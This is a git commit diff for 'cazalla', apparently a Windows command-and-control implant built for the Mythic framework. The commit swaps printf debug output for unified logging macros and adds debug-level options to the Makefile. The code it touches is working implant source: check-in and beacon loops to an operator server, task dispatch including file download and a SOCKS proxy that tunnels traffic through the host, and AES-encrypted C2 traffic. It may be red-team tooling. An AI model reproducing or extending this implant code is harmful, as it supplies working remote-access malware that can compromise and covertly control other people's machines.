Unified Debug

This commit is contained in:
marcos.luna
2025-10-29 17:19:07 +01:00
parent c1aa65380b
commit 8f7107fe1d
14 changed files with 501 additions and 615 deletions
@@ -5,7 +5,51 @@ CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -IInclude CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
# Debug parameters (can be overridden from command line)
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
# DEBUG_OUTPUT: console=0, file=1
DEBUG_LEVEL ?= 0
DEBUG_OUTPUT ?= 0
# Convert DEBUG_LEVEL string to number if needed
ifeq ($(DEBUG_LEVEL),none)
DEBUG_LEVEL_NUM = 0
else ifeq ($(DEBUG_LEVEL),errors)
DEBUG_LEVEL_NUM = 1
else ifeq ($(DEBUG_LEVEL),warnings)
DEBUG_LEVEL_NUM = 2
else ifeq ($(DEBUG_LEVEL),info)
DEBUG_LEVEL_NUM = 3
else ifeq ($(DEBUG_LEVEL),all)
DEBUG_LEVEL_NUM = 4
else
# Assume it's already a number
DEBUG_LEVEL_NUM = $(DEBUG_LEVEL)
endif
# Convert DEBUG_OUTPUT string to number if needed
ifeq ($(DEBUG_OUTPUT),console)
DEBUG_OUTPUT_NUM = 0
else ifeq ($(DEBUG_OUTPUT),file)
DEBUG_OUTPUT_NUM = 1
else
# Assume it's already a number
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
endif
# Debug flags based on level
DEBUG_FLAGS = -DDEBUG_SOCKS -g
ifeq ($(DEBUG_LEVEL_NUM),0)
# No debug
DEBUG_FLAGS =
else
# Debug enabled - add defines for debug level and output
# DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL
# DEBUG_OUTPUT: 0=CONSOLE, 1=FILE
DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM)
DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM)
endif
# Directories # Directories
SRC_FILES := *.c SRC_FILES := *.c
@@ -28,19 +72,14 @@ $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS) $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target # DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
# Clean up # Clean up
clean: clean:
@@ -3,22 +3,14 @@
#include "Config.h" #include "Config.h"
#include "socks_manager.h" #include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
CONFIG_CAZALLA* cazallaConfig = NULL; CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() { VOID cazallaMain() {
_inf("Inicializando configuración de Cazalla");
printf("[CAZALLA] Inicializando configuración de Cazalla\n");
fflush(stdout);
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
if (!cazallaConfig) { if (!cazallaConfig) {
_err("Error: fallo en LocalAlloc para cazallaConfig.\n"); _err("Error: fallo en LocalAlloc para cazallaConfig");
return; return;
} }
@@ -35,26 +27,23 @@ VOID cazallaMain() {
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED; cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
// Debug: print the raw values // Debug: print the raw values
printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED); _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY); _dbg("AESPSK_KEY = %s", AESPSK_KEY);
printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY)); _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
fflush(stdout);
// Initialize AESPSK encryption if enabled // Initialize AESPSK encryption if enabled
if (cazallaConfig->encryptionEnabled) { if (cazallaConfig->encryptionEnabled) {
printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n"); _inf("Inicializando cifrado AES256-HMAC...");
fflush(stdout);
if (crypto_init_aespsk(AESPSK_KEY)) { if (crypto_init_aespsk(AESPSK_KEY)) {
printf("[CAZALLA] Cifrado habilitado\n"); _inf("Cifrado habilitado");
} else { } else {
printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n"); _err("Falló la inicialización del cifrado");
cazallaConfig->encryptionEnabled = FALSE; cazallaConfig->encryptionEnabled = FALSE;
} }
} else { } else {
printf("[CAZALLA] Cifrado deshabilitado\n"); _inf("Cifrado deshabilitado");
} }
fflush(stdout); _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
cazallaConfig->idAgente, cazallaConfig->idAgente,
cazallaConfig->hostName, cazallaConfig->hostName,
cazallaConfig->puertoHttp, cazallaConfig->puertoHttp,
@@ -63,32 +52,28 @@ VOID cazallaMain() {
cazallaConfig->endPoint, cazallaConfig->endPoint,
cazallaConfig->userAgent, cazallaConfig->userAgent,
cazallaConfig->tiempoSleep); cazallaConfig->tiempoSleep);
fflush(stdout);
printf("[CAZALLA] Iniciando primer checkin...\n"); _inf("Iniciando primer checkin...");
fflush(stdout);
PAnalizador respuestaAnalizador = checkin(); PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
printf("[CAZALLA] Error en el primer checkin, cerrando.\n"); _err("Error en el primer checkin, cerrando");
fflush(stdout);
return; return;
} }
parseChecking(respuestaAnalizador); parseChecking(respuestaAnalizador);
printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep); _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
fflush(stdout);
while (TRUE) { while (TRUE) {
rutina(); rutina();
/* Si SOCKS está activo, reducir sleep para mejorar latencia */ /* Si SOCKS está activo, reducir sleep para mejorar latencia */
if (socks_proxy_active) { if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)"); _dbg("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100); Sleep(100);
} else { } else {
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); _dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
Sleep(cazallaConfig->tiempoSleep); Sleep(cazallaConfig->tiempoSleep);
} }
} }
@@ -96,5 +81,5 @@ VOID cazallaMain() {
VOID setUUID(PCHAR newUUID) { VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID; cazallaConfig->idAgente = newUUID;
DBG_PRINTF("UUID actualizado: %s", newUUID); _dbg("UUID actualizado: %s", newUUID);
} }
@@ -5,11 +5,6 @@
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h> #include <iphlpapi.h>
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// === Obtener Direcciones IPs === // === Obtener Direcciones IPs ===
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
@@ -126,8 +121,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
Check-in principal con soporte SOCKS Check-in principal con soporte SOCKS
========================================================== */ ========================================================== */
PAnalizador checkin() { PAnalizador checkin() {
printf("[CHECKIN] Iniciando checkin\n"); _inf("Iniciando checkin");
fflush(stdout);
UINT32 numeroDeIPs = 0; UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
@@ -155,20 +149,18 @@ PAnalizador checkin() {
// === When mythic_encrypts=True, agent sends plaintext === // === When mythic_encrypts=True, agent sends plaintext ===
// The C2 profile (HTTP) handles encryption at HTTP layer // The C2 profile (HTTP) handles encryption at HTTP layer
// No need for ECC key exchange in checkin // No need for ECC key exchange in checkin
printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n"); _dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
fflush(stdout);
PAnalizador respuestaAnalizador = mandarPaquete(checkin); PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin); liberarPaquete(checkin);
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n"); _err("Error: respuestaAnalizador NULL. Cierre inminente");
fflush(stdout);
return NULL; return NULL;
} }
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe"); _dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
procesarSocksEntrante(respuestaAnalizador); procesarSocksEntrante(respuestaAnalizador);
DBG_PRINTF("checkin(): completado"); _dbg("checkin(): completado");
return respuestaAnalizador; return respuestaAnalizador;
} }
@@ -3,39 +3,27 @@
#include "socks_manager.h" #include "socks_manager.h"
#include "paquete.h" #include "paquete.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* Forward: handlers for the new commands */ /* Forward: handlers for the new commands */
static void startSocksHandler(PAnalizador analizadorTarea); static void startSocksHandler(PAnalizador analizadorTarea);
static void stopSocksHandler(PAnalizador analizadorTarea); static void stopSocksHandler(PAnalizador analizadorTarea);
BOOL handleGetTasking(PAnalizador obtenerTarea) { BOOL handleGetTasking(PAnalizador obtenerTarea) {
printf("[HANDLER] handleGetTasking() llamado\n"); _dbg("handleGetTasking() llamado");
fflush(stdout);
UINT32 numeroTareas = getInt32(obtenerTarea); UINT32 numeroTareas = getInt32(obtenerTarea);
printf("[HANDLER] Número de tareas: %u\n", numeroTareas); _dbg("Número de tareas: %u", numeroTareas);
fflush(stdout);
if (numeroTareas) { if (numeroTareas) {
DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas); _dbg("Hay %d tareas", numeroTareas);
} }
for (UINT32 i = 0; i < numeroTareas; i++) { for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea); _dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea);
fflush(stdout);
BYTE tarea = getByte(obtenerTarea); BYTE tarea = getByte(obtenerTarea);
printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea); _dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
fflush(stdout);
DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
@@ -65,13 +53,13 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} else if (tarea == DOWNLOAD_CMD) { } else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea); DescargarFichero(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) { } else if (tarea == START_SOCKS_CMD) {
DBG_PRINTF("Received START_SOCKS_CMD"); _dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea); startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) { } else if (tarea == STOP_SOCKS_CMD) {
DBG_PRINTF("Received STOP_SOCKS_CMD"); _dbg("Received STOP_SOCKS_CMD");
stopSocksHandler(analizadorTarea); stopSocksHandler(analizadorTarea);
} else { } else {
DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea); _wrn("Tarea desconocida: 0x%02x", tarea);
// liberar analizador si no será usado por otro handler // liberar analizador si no será usado por otro handler
if (analizadorTarea) liberarAnalizador(analizadorTarea); if (analizadorTarea) liberarAnalizador(analizadorTarea);
} }
@@ -81,20 +69,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} }
BOOL commandDispatch(PAnalizador respuesta) { BOOL commandDispatch(PAnalizador respuesta) {
_dbg("Respuesta tiene %zu bytes", respuesta->tamano);
printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano);
fflush(stdout);
// Debug: imprimir primeros bytes // Debug: imprimir primeros bytes
if (respuesta->tamano > 0) { if (respuesta->tamano > 0) {
printf("[DISPATCH] Primeros 8 bytes: "); _dbg("Primeros 8 bytes: ");
fflush(stdout);
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) { for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
printf("0x%02X ", respuesta->original[i]); _dbg(" 0x%02X ", respuesta->original[i]);
fflush(stdout);
} }
printf("\n");
fflush(stdout);
} }
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio === // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
@@ -102,32 +84,26 @@ BOOL commandDispatch(PAnalizador respuesta) {
// Necesitamos leer y verificar el UUID primero // Necesitamos leer y verificar el UUID primero
SIZE_T uuidLen = 36; SIZE_T uuidLen = 36;
PCHAR callback_uuid = getString(respuesta, &uuidLen); PCHAR callback_uuid = getString(respuesta, &uuidLen);
printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid); _dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
fflush(stdout);
// Verificar que el UUID sea correcto (opcional, para debug) // Verificar que el UUID sea correcto (opcional, para debug)
if (uuidLen != 36) { if (uuidLen != 36) {
printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen); _wrn("UUID length is not 36 bytes (%zu)", uuidLen);
fflush(stdout);
} }
BYTE tipoRespuesta = getByte(respuesta); BYTE tipoRespuesta = getByte(respuesta);
printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta); _dbg("Tipo de respuesta: 0x%02X", tipoRespuesta);
fflush(stdout);
if (tipoRespuesta == GET_TASKING) { if (tipoRespuesta == GET_TASKING) {
printf("[DISPATCH] Llamando handleGetTasking()\n"); _dbg("Llamando handleGetTasking()");
fflush(stdout);
return handleGetTasking(respuesta); return handleGetTasking(respuesta);
} }
else if (tipoRespuesta == POST_RESPONSE) { else if (tipoRespuesta == POST_RESPONSE) {
printf("[DISPATCH] Respuesta POST_RESPONSE\n"); _dbg("Respuesta POST_RESPONSE");
fflush(stdout);
return TRUE; return TRUE;
} }
printf("[DISPATCH] Tipo desconocido\n"); _wrn("Tipo desconocido");
fflush(stdout);
return TRUE; return TRUE;
} }
@@ -138,14 +114,12 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
// Primero leemos el UUID que Mythic agrega // Primero leemos el UUID que Mythic agrega
SIZE_T tamanoUuid = 36; SIZE_T tamanoUuid = 36;
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid); PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid); _dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
fflush(stdout);
// Luego leemos el tipo de mensaje // Luego leemos el tipo de mensaje
BYTE tipoMensaje = getByte(respuestaAnalizador); BYTE tipoMensaje = getByte(respuestaAnalizador);
if (tipoMensaje != CHECKIN) { if (tipoMensaje != CHECKIN) {
printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje); _err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
fflush(stdout);
liberarAnalizador(respuestaAnalizador); liberarAnalizador(respuestaAnalizador);
return FALSE; return FALSE;
} }
@@ -155,7 +129,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid); setUUID(nuevoUuid);
DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() === // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
@@ -168,8 +142,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
BOOL rutina() { BOOL rutina() {
printf("[RUTINA] Enviando GET_TASKING...\n"); _dbg("Enviando GET_TASKING...");
fflush(stdout);
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS); addInt32(obtenerTarea, NUMBER_OF_TASKS);
@@ -177,13 +150,11 @@ BOOL rutina() {
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta // sin respuesta
if (!respuestaAnalizador) { if (!respuestaAnalizador) {
printf("[RUTINA] ERROR: No se recibió respuesta\n"); _err("No se recibió respuesta");
fflush(stdout);
return FALSE; return FALSE;
} }
printf("[RUTINA] Respuesta recibida, dispatch...\n"); _dbg("Respuesta recibida, dispatch...");
fflush(stdout);
commandDispatch(respuestaAnalizador); commandDispatch(respuestaAnalizador);
@@ -206,7 +177,7 @@ BOOL rutina() {
- send response back to Mythic - send response back to Mythic
============================ */ ============================ */
static void startSocksHandler(PAnalizador analizadorTarea) { static void startSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("startSocksHandler() enter"); _dbg("startSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes) // Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36; SIZE_T uuidLen = 36;
@@ -214,7 +185,7 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
// Leer el puerto // Leer el puerto
UINT32 localPort = (UINT32)getInt32(analizadorTarea); UINT32 localPort = (UINT32)getInt32(analizadorTarea);
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort); _dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
if (localPort == 0) localPort = 1080; if (localPort == 0) localPort = 1080;
@@ -230,10 +201,10 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
// Crear paquete temporal para el output // Crear paquete temporal para el output
PPaquete salida = nuevoPaquete(0, FALSE); PPaquete salida = nuevoPaquete(0, FALSE);
if (rc == 0) { if (rc == 0) {
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort); _dbg("socks_manager_start_proxy(%u) OK", localPort);
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort); PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
} else { } else {
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc); _err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc); PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
} }
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
@@ -256,18 +227,18 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
- send response back to Mythic - send response back to Mythic
============================ */ ============================ */
static void stopSocksHandler(PAnalizador analizadorTarea) { static void stopSocksHandler(PAnalizador analizadorTarea) {
DBG_PRINTF("stopSocksHandler() enter"); _dbg("stopSocksHandler() enter");
// Leer el UUID del task (primeros 36 bytes) // Leer el UUID del task (primeros 36 bytes)
SIZE_T uuidLen = 36; SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(analizadorTarea, &uuidLen); PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid); _dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);
int rc = socks_manager_stop_proxy(); int rc = socks_manager_stop_proxy();
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc); _dbg("socks_manager_stop_proxy() rc=%d", rc);
socks_manager_cleanup(); socks_manager_cleanup();
DBG_PRINTF("socks_manager_cleanup() done"); _dbg("socks_manager_cleanup() done");
// Crear respuesta para Mythic // Crear respuesta para Mythic
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
@@ -59,7 +59,7 @@ void crypto_cleanup(void) {
// Initialize AESPSK key from base64 string (Mythic format) // Initialize AESPSK key from base64 string (Mythic format)
BOOL crypto_init_aespsk(const char *aespsk_key_b64) { BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) { if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
printf("[CRYPTO] No AESPSK key provided\n"); _err("No AESPSK key provided");
g_encryptionEnabled = 0; g_encryptionEnabled = 0;
return FALSE; return FALSE;
} }
@@ -69,12 +69,12 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
SIZE_T decoded_len = 0; SIZE_T decoded_len = 0;
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) { if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
printf("[CRYPTO] Failed to decode AESPSK key\n"); _err("Failed to decode AESPSK key");
return FALSE; return FALSE;
} }
if (decoded_len != AES_KEY_SIZE) { if (decoded_len != AES_KEY_SIZE) {
printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE); _err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
if (decoded) LocalFree(decoded); if (decoded) LocalFree(decoded);
return FALSE; return FALSE;
} }
@@ -85,7 +85,7 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
if (decoded) LocalFree(decoded); if (decoded) LocalFree(decoded);
printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n"); _inf("AESPSK key initialized successfully (encryption enabled)");
return TRUE; return TRUE;
} }
@@ -98,33 +98,32 @@ BOOL crypto_is_encryption_enabled(void) {
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)] // Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
BOOL CryptoMythicEncryptPackage(void* package) { BOOL CryptoMythicEncryptPackage(void* package) {
PPaquete pkg = (PPaquete)package; PPaquete pkg = (PPaquete)package;
printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n"); _inf("=== CryptoMythicEncryptPackage START ===");
if (!pkg || !pkg->buffer || pkg->length == 0) { if (!pkg || !pkg->buffer || pkg->length == 0) {
printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n", _err("Invalid package (pkg=%p, buffer=%p, length=%zu)",
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0); pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
return FALSE; return FALSE;
} }
printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length); _dbg("Input package: length=%zu bytes", pkg->length);
if (!g_aesKeySet) { if (!g_aesKeySet) {
printf("[CRYPTO] ERROR: AES key not set\n"); _err("AES key not set");
return FALSE; return FALSE;
} }
printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE); _dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
// Generate random IV // Generate random IV
BYTE iv[IVSIZE]; BYTE iv[IVSIZE];
printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE); _dbg("Generating random IV (%d bytes)...", IVSIZE);
for (int i = 0; i < IVSIZE; i++) { for (int i = 0; i < IVSIZE; i++) {
iv[i] = (BYTE)(rand() % 0xFF); iv[i] = (BYTE)(rand() % 0xFF);
} }
printf("[CRYPTO] IV generated (hex): "); _dbg("IV generated (hex): ");
for (int i = 0; i < IVSIZE; i++) { for (int i = 0; i < IVSIZE; i++) {
printf("%02x ", iv[i]); _dbg(" %02x ", iv[i]);
} }
printf("\n");
// Calculate padding needed // Calculate padding needed
SIZE_T datalen = pkg->length; SIZE_T datalen = pkg->length;
@@ -132,139 +131,134 @@ BOOL CryptoMythicEncryptPackage(void* package) {
if (padding_needed == 0) { if (padding_needed == 0) {
padding_needed = AES_BLOCKLEN; padding_needed = AES_BLOCKLEN;
} }
printf("[CRYPTO] Data length: %zu bytes\n", datalen); _dbg("Data length: %zu bytes", datalen);
printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN); _dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
// Add padding // Add padding
printf("[CRYPTO] Adding PKCS7 padding...\n"); _dbg("Adding PKCS7 padding...");
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) { if (!pkg->buffer) {
printf("[CRYPTO] ERROR: Failed to add padding\n"); _err("Failed to add padding");
return FALSE; return FALSE;
} }
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed); memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
SIZE_T padded_len = pkg->length + padding_needed; SIZE_T padded_len = pkg->length + padding_needed;
pkg->length = padded_len; pkg->length = padded_len;
printf("[CRYPTO] After padding: %zu bytes\n", padded_len); _dbg("After padding: %zu bytes", padded_len);
// Encrypt with AES-256-CBC // Encrypt with AES-256-CBC
printf("[CRYPTO] Initializing AES context with IV...\n"); _dbg("Initializing AES context with IV...");
struct AES_ctx ctx; struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv); AES_init_ctx_iv(&ctx, g_aesKey, iv);
printf("[CRYPTO] Encrypting with AES-256-CBC...\n"); _inf("Encrypting with AES-256-CBC...");
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len); AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len); _dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
// Prepend IV before the encrypted data // Prepend IV before the encrypted data
printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE); _dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
